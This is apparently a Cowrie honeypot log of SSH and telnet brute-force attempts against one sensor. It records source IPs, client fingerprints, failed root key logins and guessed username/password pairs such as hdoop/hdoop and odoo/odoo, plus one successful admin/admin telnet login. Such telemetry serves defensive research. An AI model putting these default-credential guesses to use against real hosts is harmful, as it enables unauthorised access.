{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:ba:55:5e:d6:e9:14:96:05:4e:6c:e6:79:41:eb:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTM3fU6gdWO7Hjcd4iUWfz9+rdKxCInrIhk23xxsuNpTrJLG6quCURWcQUvr+owb/FI9NfijN3iueLq090EN8iOty7f9HgiVsRZPdfKKfBOEqecOHR/jrX63ByWyG/AMuXAGBY3wKot/RRzAaKkJYc6ArCJGlB5bSXl5hyljTk4KF7g52nbIihbmr824UtN19naCjTUy6R4qbpKUvZPlp0ByrysnkQ1d7iXZ/PFp/K13zaotODlnr0OPw/t8fvS/xmoaNOHdAK24y/Mvc9ofX0d2WmobQknRBXyLKDeOPc9efTJoHb75qk7qvJnmJOBndY2qEtDYN12UUaH0C/AX+3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.093682Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:ae:05:47:04:b6:29:73:00:78:e7:45:42:0a:f3:f6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDpndUarZGsHEUhQIjdiOf8xWhFHsKO+nJxufVsyt+AF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b6:ae:05:47:04:b6:29:73:00:78:e7:45:42:0a:f3:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.192763Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:ae:05:47:04:b6:29:73:00:78:e7:45:42:0a:f3:f6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDpndUarZGsHEUhQIjdiOf8xWhFHsKO+nJxufVsyt+AF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.196887Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":38268,"dst_ip":"159.203.135.109","dst_port":22,"session":"7472fcc89d91","protocol":"ssh","message":"New connection: 43.133.65.220:38268 (159.203.135.109:22) [session: 7472fcc89d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.273215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.278202Z","src_ip":"43.133.65.220","session":"7472fcc89d91","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:f6:c0:cd:b0:a4:33:09:1d:b2:e0:5a:42:40:25:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTFVV1BL2vjEjzhSn7+M42BiUEjjDxdI5Lh+xqC6cgYfMHRXhel3ic1zIVtjGUsCaEfJ4sdUFhX2midi3ALxlt1wQ1V8u2gQGNtwQ25YS4s5vZ6DnESlTjsdd9QL613y54uXCYEv/ZWJ5y+v1mA8cNN5d5B5RHoayqxZDXf7FFQeX4iGvHSNQxHaaXggVtEq0LJwP3f1fOHNhgc3xGhcKAC0ew+fkzwXbF2W4U93cve6pFTndpzOZ3cZp1ooaZxx4w7TiATBmbOGc75Fr1u6nawJiF0YqqukxbJYpUjrYrvts7MDN6eCgAmrmJbEmEMw55QIjrcq4slMbZtZ9m/BNROPXUJDl3+6InTx65hFHpgx3J/Y0lznW2w6CpSBYMs/9/wi4fGtqFM/OGyUH5vk9UsUY0Lu+BgrXDm+GVXw1YlZP1JUgZPWfpwJHri/ZojVBsDJmXN1S8qiZsWCZOkCdy001dI85f8IaO2M9rxliq/XcxekIIabYhS1Oj/DM2fDjorB63HsI+DZg4yew9bKOyECod2aiaGo7hJrKyJhP/jlCu6qBFhH5aerv5Yw6xOqWkSFQ6ApPqe7sdBWj+x0H4DtWs2tqGLoN5N50b3C07z0txHPHi5nn7ljYIFk9x29evvcAigwGtUwvmGGfZmwxvtaFfukTIZnD+E4pZzvZlcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:f6:c0:cd:b0:a4:33:09:1d:b2:e0:5a:42:40:25:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.304391Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:f6:c0:cd:b0:a4:33:09:1d:b2:e0:5a:42:40:25:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTFVV1BL2vjEjzhSn7+M42BiUEjjDxdI5Lh+xqC6cgYfMHRXhel3ic1zIVtjGUsCaEfJ4sdUFhX2midi3ALxlt1wQ1V8u2gQGNtwQ25YS4s5vZ6DnESlTjsdd9QL613y54uXCYEv/ZWJ5y+v1mA8cNN5d5B5RHoayqxZDXf7FFQeX4iGvHSNQxHaaXggVtEq0LJwP3f1fOHNhgc3xGhcKAC0ew+fkzwXbF2W4U93cve6pFTndpzOZ3cZp1ooaZxx4w7TiATBmbOGc75Fr1u6nawJiF0YqqukxbJYpUjrYrvts7MDN6eCgAmrmJbEmEMw55QIjrcq4slMbZtZ9m/BNROPXUJDl3+6InTx65hFHpgx3J/Y0lznW2w6CpSBYMs/9/wi4fGtqFM/OGyUH5vk9UsUY0Lu+BgrXDm+GVXw1YlZP1JUgZPWfpwJHri/ZojVBsDJmXN1S8qiZsWCZOkCdy001dI85f8IaO2M9rxliq/XcxekIIabYhS1Oj/DM2fDjorB63HsI+DZg4yew9bKOyECod2aiaGo7hJrKyJhP/jlCu6qBFhH5aerv5Yw6xOqWkSFQ6ApPqe7sdBWj+x0H4DtWs2tqGLoN5N50b3C07z0txHPHi5nn7ljYIFk9x29evvcAigwGtUwvmGGfZmwxvtaFfukTIZnD+E4pZzvZlcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.308269Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:c7:e3:af:53:5f:eb:31:83:fb:79:b3:6c:09:67:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqnoOM62rbCYc+PaJNENdhBNO8T3u/C1lGM9e8Q9clyWHgTmr/lvmmGWdk8fl7jVXLSKrGaqmLuZW4fJba0XIl31TMMcsnWYj/Kvj+fXGrM1Vm/vNXyNl3RcFc02ZHTvcUhY/RzrSbcHUiTqGXFxG2durZnm2Yoyv6NNzklr3/BICIpAeQszA7mVmQG/Pan/mNlQswgiphCHFnDPqQhJpG5RkcICD+gyJ5iD1NE5E4fvveBHJLygUUl4qlrQQaRIsOuAYwYNijepJvQD35DHLQkW0SFCPYceU+hf75aCT8ZHDfaBf1PEQgQUDlfGqiVuYOzzEjrjrhPjY9euufxKEd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:c7:e3:af:53:5f:eb:31:83:fb:79:b3:6c:09:67:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.404940Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:c7:e3:af:53:5f:eb:31:83:fb:79:b3:6c:09:67:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqnoOM62rbCYc+PaJNENdhBNO8T3u/C1lGM9e8Q9clyWHgTmr/lvmmGWdk8fl7jVXLSKrGaqmLuZW4fJba0XIl31TMMcsnWYj/Kvj+fXGrM1Vm/vNXyNl3RcFc02ZHTvcUhY/RzrSbcHUiTqGXFxG2durZnm2Yoyv6NNzklr3/BICIpAeQszA7mVmQG/Pan/mNlQswgiphCHFnDPqQhJpG5RkcICD+gyJ5iD1NE5E4fvveBHJLygUUl4qlrQQaRIsOuAYwYNijepJvQD35DHLQkW0SFCPYceU+hf75aCT8ZHDfaBf1PEQgQUDlfGqiVuYOzzEjrjrhPjY9euufxKEd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.409288Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.479552Z","src_ip":"43.133.65.220","session":"7472fcc89d91","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:d6:e7:03:12:e7:00:a1:4c:9c:22:af:f0:95:e5:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRSL1Ri9MOHnj4BWnpV/q5oLqqDT019M2Fg/dD9AIc9wNBhiXUIZyGbLUVYqG2yoa/JrouDTK7pNnFdpBcLAJFrfxQEqW323kErrmuMU1iMsWSekpkwR3yearhqWs14essu1DCm1jUVWzw/69WOvWb6yOJxJ5FBPOZX8iGYpbb3q9n90jCv6NnAT6b877zZpkPBYTk3hd02cZuA4k8GTLxSwJJ1LR/M/C+9SQiEKklIqcpMaXMhIwhsmcP1hhw+ozdfPjSB7laC0KyVxjBRsVB7FRDJI5rnXyWyurgqQlla3KsxexlkKN8/KxVJZxUtbTtYk+JN2NJFr1D6Ib33diT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:d6:e7:03:12:e7:00:a1:4c:9c:22:af:f0:95:e5:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.504128Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:d6:e7:03:12:e7:00:a1:4c:9c:22:af:f0:95:e5:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRSL1Ri9MOHnj4BWnpV/q5oLqqDT019M2Fg/dD9AIc9wNBhiXUIZyGbLUVYqG2yoa/JrouDTK7pNnFdpBcLAJFrfxQEqW323kErrmuMU1iMsWSekpkwR3yearhqWs14essu1DCm1jUVWzw/69WOvWb6yOJxJ5FBPOZX8iGYpbb3q9n90jCv6NnAT6b877zZpkPBYTk3hd02cZuA4k8GTLxSwJJ1LR/M/C+9SQiEKklIqcpMaXMhIwhsmcP1hhw+ozdfPjSB7laC0KyVxjBRsVB7FRDJI5rnXyWyurgqQlla3KsxexlkKN8/KxVJZxUtbTtYk+JN2NJFr1D6Ib33diT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.508601Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:13.646377Z","src_ip":"78.111.67.235","session":"97c885a4a29f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38348,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d3c906201f8","protocol":"telnet","message":"New connection: 69.4.83.194:38348 (159.203.135.109:23) [session: 4d3c906201f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:14.148572Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:14.316374Z","src_ip":"43.133.65.220","session":"7472fcc89d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:15.522222Z","src_ip":"43.133.65.220","session":"7472fcc89d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.69632315635681,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:16.563249Z","src_ip":"69.4.83.194","session":"88f12eeaa2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.0599422454834,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:21.381963Z","src_ip":"178.128.93.180","session":"100c0301d65b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42370,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b8595e7d8f5","protocol":"telnet","message":"New connection: 69.4.83.194:42370 (159.203.135.109:23) [session: 8b8595e7d8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:23.035393Z"}
{"eventid":"cowrie.session.closed","duration":73.5195300579071,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:26.050607Z","src_ip":"178.128.93.180","session":"6b200ba7d999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46114,"dst_ip":"159.203.135.109","dst_port":23,"session":"05cfbb827bc5","protocol":"telnet","message":"New connection: 69.4.83.194:46114 (159.203.135.109:23) [session: 05cfbb827bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:32.031688Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":35336,"dst_ip":"159.203.135.109","dst_port":22,"session":"6619c193ad30","protocol":"ssh","message":"New connection: 180.178.94.210:35336 (159.203.135.109:22) [session: 6619c193ad30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:36.013640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:36.018122Z","src_ip":"180.178.94.210","session":"6619c193ad30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:36.291213Z","src_ip":"180.178.94.210","session":"6619c193ad30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmed","password":"ahmed","message":"login attempt [ahmed/ahmed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:37.394599Z","src_ip":"180.178.94.210","session":"6619c193ad30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:38.656262Z","src_ip":"180.178.94.210","session":"6619c193ad30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47774,"dst_ip":"159.203.135.109","dst_port":23,"session":"931d69c285f2","protocol":"telnet","message":"New connection: 69.4.83.194:47774 (159.203.135.109:23) [session: 931d69c285f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:39.637311Z"}
{"eventid":"cowrie.session.closed","duration":36.39826846122742,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:50.546717Z","src_ip":"69.4.83.194","session":"4d3c906201f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05400776863098,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:55.089286Z","src_ip":"69.4.83.194","session":"8b8595e7d8f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":44328,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a7cba8369a7","protocol":"ssh","message":"New connection: 190.6.32.107:44328 (159.203.135.109:22) [session: 8a7cba8369a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:58.515287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:58.520424Z","src_ip":"190.6.32.107","session":"8a7cba8369a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:58.579095Z","src_ip":"190.6.32.107","session":"8a7cba8369a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hdoop","password":"hdoop","message":"login attempt [hdoop/hdoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:58.832447Z","src_ip":"190.6.32.107","session":"8a7cba8369a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:28:59.890988Z","src_ip":"190.6.32.107","session":"8a7cba8369a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":42884,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fd8ab72ce19","protocol":"ssh","message":"New connection: 106.243.250.115:42884 (159.203.135.109:22) [session: 8fd8ab72ce19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:01.415452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:01.420746Z","src_ip":"106.243.250.115","session":"8fd8ab72ce19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:01.618025Z","src_ip":"106.243.250.115","session":"8fd8ab72ce19","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:01.660240Z","src_ip":"43.156.90.207","session":"ff75841065fb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:01.704614Z","src_ip":"43.156.90.207","session":"ff75841065fb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:02.433293Z","src_ip":"106.243.250.115","session":"8fd8ab72ce19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56372,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebf8380be894","protocol":"telnet","message":"New connection: 69.4.83.194:56372 (159.203.135.109:23) [session: ebf8380be894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:02.937816Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:03.633339Z","src_ip":"106.243.250.115","session":"8fd8ab72ce19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.48468804359436,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:05.516278Z","src_ip":"69.4.83.194","session":"05cfbb827bc5","protocol":"telnet"}
